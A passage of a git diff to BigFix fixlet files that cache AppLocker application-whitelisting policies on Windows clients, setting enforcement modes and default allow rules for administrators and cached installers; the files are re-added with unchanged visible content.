+	<RuleCollection Type="Msi" EnforcementMode="AuditOnly">
+	</RuleCollection>
+	<RuleCollection Type="Script" EnforcementMode="AuditOnly">
+	</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Enforce All - Windows (20704).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Enforce All - Windows (20704).bes
index 4bb671744..f489dc90f 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Enforce All - Windows (20704).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Method - Enforce All - Windows (20704).bes	
@@ -1,66 +1,66 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Method - Enforce All - Windows
-  ID       : 20704
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-28T14:00:17
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Method - Enforce All - Windows</Title>
-    <Description><![CDATA[<P>This policy sets the enforcement method for the different Applocker file types. Specifically it configures:</P>
-<P>AppX - Enforced</P>
-<P>Executables - Enforced</P>
-<P>Installers - Enforced</P>
-<P>Scripts - Enforced</P>
-<P>This will only take effect if the current enforcement mode is undefined. Once an enforcement mode is defined it's not advisable to try to change it without first reseting the Applocker configuration.&nbsp;</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\EnforceMode.xml")]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="EnforceMode"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Appx" EnforcementMode="Enabled">
-	</RuleCollection>
-	<RuleCollection Type="Exe" EnforcementMode="Enabled">
-	</RuleCollection>
-	<RuleCollection Type="Msi" EnforcementMode="Enabled">
-	</RuleCollection>
-	<RuleCollection Type="Script" EnforcementMode="Enabled">
-	</RuleCollection>
-</AppLockerPolicy>
-_end_
-
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Method - Enforce All - Windows
+  ID       : 20704
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:00:17
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Method - Enforce All - Windows</Title>
+    <Description><![CDATA[<P>This policy sets the enforcement method for the different Applocker file types. Specifically it configures:</P>
+<P>AppX - Enforced</P>
+<P>Executables - Enforced</P>
+<P>Installers - Enforced</P>
+<P>Scripts - Enforced</P>
+<P>This will only take effect if the current enforcement mode is undefined. Once an enforcement mode is defined it's not advisable to try to change it without first reseting the Applocker configuration.&nbsp;</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\EnforceMode.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="EnforceMode"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx" EnforcementMode="Enabled">
+	</RuleCollection>
+	<RuleCollection Type="Exe" EnforcementMode="Enabled">
+	</RuleCollection>
+	<RuleCollection Type="Msi" EnforcementMode="Enabled">
+	</RuleCollection>
+	<RuleCollection Type="Script" EnforcementMode="Enabled">
+	</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows (20705).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows (20705).bes
index f49b80f24..efb7fcada 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows (20705).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows (20705).bes	
@@ -1,63 +1,63 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows
-  ID       : 20705
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-28T14:00:26
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
-<P>Executables</P>
-<UL>
-<LI>Allow Administrators to run All Files.&nbsp;</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Administrators-Exe-All.xml")]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="Administrators-Exe-All"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Exe">
-		<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows
+  ID       : 20705
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:00:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Administrators to run All Executables - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow Administrators to run All Files.&nbsp;</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Administrators-Exe-All.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Administrators-Exe-All"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Exe">
+		<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows (20706).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows (20706).bes
index a62c05afd..666811ca8 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows (20706).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows (20706).bes	
@@ -1,63 +1,63 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows
-  ID       : 20706
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-28T14:00:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
-<P>Scripts</P>
-<UL>
-<LI>Allow Administrators to run all scripts</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Administrators-Scripts-All.xml")]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="Administrators-Scripts-All"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Script">
-		<FilePathRule Id="ed97d0cb-15ff-430f-b82c-8d7832957725" Name="(Default Rule) All scripts" Description="Allows members of the local Administrators group to run all scripts." UserOrGroupSid="S-1-5-32-544" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows
+  ID       : 20706
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:00:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Administrators to run All Scripts - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Scripts</P>
+<UL>
+<LI>Allow Administrators to run all scripts</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Administrators-Scripts-All.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Administrators-Scripts-All"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Script">
+		<FilePathRule Id="ed97d0cb-15ff-430f-b82c-8d7832957725" Name="(Default Rule) All scripts" Description="Allows members of the local Administrators group to run all scripts." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows (20714).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows (20714).bes
index af4de3406..364af703e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows (20714).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows (20714).bes	
@@ -1,55 +1,55 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows
-  ID       : 20714
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-28T16:10:35
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it provides a rule for Script</P><BR>The rule self describes as: Allow Administrators in to run Scripts in their profiles except for AppData ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(not exists file (pathname of data folder of client & "\__Global\Applocker\Allow Administrators in to run Scripts in their profiles except for AppData.xml"))]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="Allow Administrators in to run Scripts in their profiles except for AppData"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-<RuleCollection Type="Script">
-<FilePathRule Id="4687599f-786d-4bae-8e66-2413a02b0a4a" Name="Allow Administrators in to run Scripts in their profiles except for AppData" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%OSDRIVE%\users\*" /></Conditions><Exceptions><FilePathCondition Path="%OSDRIVE%\users\*\Appdata\*" /></Exceptions></FilePathRule>
-</RuleCollection>
-</AppLockerPolicy>
-_end_
-
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
-
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows
+  ID       : 20714
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T16:10:35
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Administrators to run Scripts in their Profiles - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it provides a rule for Script</P><BR>The rule self describes as: Allow Administrators in to run Scripts in their profiles except for AppData ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(not exists file (pathname of data folder of client & "\__Global\Applocker\Allow Administrators in to run Scripts in their profiles except for AppData.xml"))]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Allow Administrators in to run Scripts in their profiles except for AppData"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+<RuleCollection Type="Script">
+<FilePathRule Id="4687599f-786d-4bae-8e66-2413a02b0a4a" Name="Allow Administrators in to run Scripts in their profiles except for AppData" Description="" UserOrGroupSid="S-1-1-0" Action="Allow"><Conditions><FilePathCondition Path="%OSDRIVE%\users\*" /></Conditions><Exceptions><FilePathCondition Path="%OSDRIVE%\users\*\Appdata\*" /></Exceptions></FilePathRule>
+</RuleCollection>
+</AppLockerPolicy>
+_end_
+
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
+move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows (20707).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows (20707).bes
index 0017f385c..d94954626 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows (20707).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows (20707).bes	
@@ -1,63 +1,63 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows
-  ID       : 20707
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-28T14:00:40
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
-<P>Installers</P>
-<UL>
-<LI>Allow everyone to run installers in C:\Windows\Installers</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Msi-Cached.xml")]]></Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "RuleName"="Everyone-Msi-Cached"
-parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
-
-delete __createfile
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Msi">
-		<FilePathRule Id="5b290184-345a-4453-b184-45305f6d9a54" Name="(Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer" Description="Allows members of the Everyone group to run all Windows Installer files located in %systemdrive%\Windows\Installer." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%WINDIR%\Installer\*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-folder create "{parameter "Storage"}"
-
-delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
-move __createfile "{parameter "Storage"}\{parameter "RuleName"}.xml"
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows
+  ID       : 20707
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-28T14:00:40
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Cache Applocker Rules - Allow Everyone to run Cached Installers - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Installers</P>
+<UL>
+<LI>Allow everyone to run installers in C:\Windows\Installers</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[not exists file (pathname of data folder of client & "\__Global\Applocker\Everyone-Msi-Cached.xml")]]></Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "RuleName"="Everyone-Msi-Cached"
+parameter "Storage"="{pathname of data folder of client}\__Global\Applocker"
+
+delete __createfile
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Msi">
+		<FilePathRule Id="5b290184-345a-4453-b184-45305f6d9a54" Name="(Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer" Description="Allows members of the Everyone group to run all Windows Installer files located in %systemdrive%\Windows\Installer." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\Installer\*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+folder create "{parameter "Storage"}"
+
+delete "{parameter "Storage"}\{parameter "RuleName"}.xml"
